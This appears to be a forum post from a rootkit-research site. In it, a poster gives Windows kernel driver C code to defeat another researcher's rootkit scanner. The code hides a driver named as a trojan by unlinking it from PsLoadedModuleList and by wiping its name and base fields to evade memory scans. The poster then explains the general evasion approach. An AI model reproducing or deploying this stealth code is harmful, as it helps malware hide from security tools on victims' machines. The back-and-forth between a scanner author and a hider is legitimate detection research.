Ciao gianna (and ciao all),
First of all thank you for waking my interest up in this hot summer..... you know, sun, beach, etc... keeps me a bit
away from the keyboard.

Anyway, here's the code to defeat your scanner (as you can see, it's the standard hide routine for PsLoadedModuleList, but with
a few tweaks) :


//************************************************************************
// VOID ModuleHide(PDRIVER_OBJECT MyDrvObj)
//
// Hide module from PsLoadedModuleList                                                                     
//************************************************************************
VOID ModuleHide(PDRIVER_OBJECT MyDrvObj)
{
    // disable this routine on debug builds, since windbg seems to have problem loading symbols if the module is hidden :)
    // and.... do not use this routine in INIT section!!
    
    PMODULE_ENTRY pCurrentModule = NULL;
    
    // at DriverSection pointer there is PsLoadedModuleList
    pCurrentModule = *((PMODULE_ENTRY*)((DWORD)MyDrvObj->DriverSection));
    if (pCurrentModule == NULL)
        return;
    
    // We get its Flink pointer to start scan for drivername, since the head do not have a name
    pCurrentModule =  (MODULE_ENTRY*)pCurrentModule->le_mod.Flink;

<cont>
    while (TRUE)
    {
        if (pCurrentModule->driver_Path.MaximumLength > 3 && pCurrentModule->driver_Path.Buffer)
        {
            if (Utilwcsstrsize(pCurrentModule->driver_Path.Buffer,
                DEFAULT_TROJAN_DRIVERNAME,pCurrentModule->driver_Path.Length,
                wcslen(DEFAULT_TROJAN_DRIVERNAME) * sizeof (WCHAR),FALSE))
            {
                // clear base and name in current module entry (to avoid raw-memory scanning)
                pCurrentModule->driver_Name.Buffer = NULL;
                pCurrentModule->driver_Path.MaximumLength = 0;
                pCurrentModule->driver_Path.Length = 0;
                pCurrentModule->base = 0;
                pCurrentModule->driver_start = 0;
                
                // clear base and name in driverobject (to avoid raw-memory scanning)
                MyDrvObj->DriverStart = 0;
                MyDrvObj->DriverName.Buffer = NULL;
                MyDrvObj->DriverName.MaximumLength = 0;
                MyDrvObj->DriverName.Length = 0;
                
                // hide
                pCurrentModule->le_mod.Blink->Flink = pCurrentModule->le_mod.Flink;
                pCurrentModule->le_mod.Flink->Blink = pCurrentModule->le_mod.Blink;
                KDebugPrint (1,("%s Module hidden from PsLoadedModuleList OK.\n",MODULE));
                break;
            }
        }
        
        // next module
        pCurrentModule = (MODULE_ENTRY*)pCurrentModule->le_mod.Flink;
    }

}


Well.... there could be some other fields to clear, but basically the approach to be used for this sort of scanning is this. Clear
stuff until the scanner won't recognize your module (and the OS do not complain). If the scanner can find a field which if mangled
leads the OS to crash, that's an effective scanner.

The ball is up to you now.....
Happy Christmas!

regards,
valerio

read comments (4) / write comment

recent comments:

not elegant :/	joanna	07.Jun:17:06
=)	Ntoskrnl	07.Jun:15:15

views: 4035   printer-friendly version